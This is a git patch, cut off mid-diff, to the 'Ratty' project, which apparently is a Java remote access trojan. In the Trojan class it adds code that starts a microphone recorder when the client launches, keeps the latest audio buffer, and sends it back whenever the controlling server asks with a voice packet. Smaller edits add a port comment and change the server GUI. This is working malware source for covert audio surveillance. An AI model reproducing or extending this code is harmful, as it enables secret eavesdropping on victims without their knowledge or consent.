From 95f2a352b4b6f7b1c289fe6216eddfd520c643da Mon Sep 17 00:00:00 2001 From: Sogomn Date: Tue, 9 Feb 2016 21:04:16 +0100 Subject: [PATCH] Small changes Fixes --- Ratty/src/de/sogomn/rat/Ratty.java | 2 +- Ratty/src/de/sogomn/rat/Trojan.java | 25 +++++++++++-------- Ratty/src/de/sogomn/rat/VoiceRecorder.java | 1 + .../src/de/sogomn/rat/packet/VoicePacket.java | 10 ++++++++ .../rat/server/gui/RattyGuiController.java | 22 ++++++++++++---- 5 files changed, 43 insertions(+), 17 deletions(-) diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index 53203b8..4c55e3a 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -70,7 +70,7 @@ public final class Ratty { try { final int port = Integer.parseInt(input); - if (port < 0 || port > 65535) { + if (port < 0 || port > 65535) { //65535 = Max port return -1; } diff --git a/Ratty/src/de/sogomn/rat/Trojan.java b/Ratty/src/de/sogomn/rat/Trojan.java index 8c51774..302c50d 100644 --- a/Ratty/src/de/sogomn/rat/Trojan.java +++ b/Ratty/src/de/sogomn/rat/Trojan.java @@ -5,28 +5,31 @@ import de.sogomn.rat.packet.VoicePacket; public final class Trojan implements IClientObserver { + private VoiceRecorder voiceRecorder; + private byte[] lastData; + private static final int MICROPHONE_BUFFER_SIZE = 1024 << 8; public Trojan() { - //... + voiceRecorder = new VoiceRecorder(MICROPHONE_BUFFER_SIZE); + lastData = new byte[0]; + + voiceRecorder.addListener((source, data) -> { + lastData = data; + source.start(); + }); + voiceRecorder.start(); } @Override public void packetReceived(final ActiveClient client, final IPacket packet) { if (packet instanceof VoicePacket) { - final VoiceRecorder recorder = new VoiceRecorder(); final VoicePacket voice = (VoicePacket)packet; - recorder.setLimit(MICROPHONE_BUFFER_SIZE); - recorder.addListener((source, data) -> { - voice.setData(data); - - packet.execute(client); - }); - recorder.start(); - } else { - packet.execute(client); + voice.setData(lastData); } + + packet.execute(client); } @Override diff --git a/Ratty/src/de/sogomn/rat/VoiceRecorder.java b/Ratty/src/de/sogomn/rat/VoiceRecorder.java index df478fa..8c010aa 100644 --- a/Ratty/src/de/sogomn/rat/VoiceRecorder.java +++ b/Ratty/src/de/sogomn/rat/VoiceRecorder.java @@ -66,6 +66,7 @@ public final class VoiceRecorder extends AbstractListenerContainer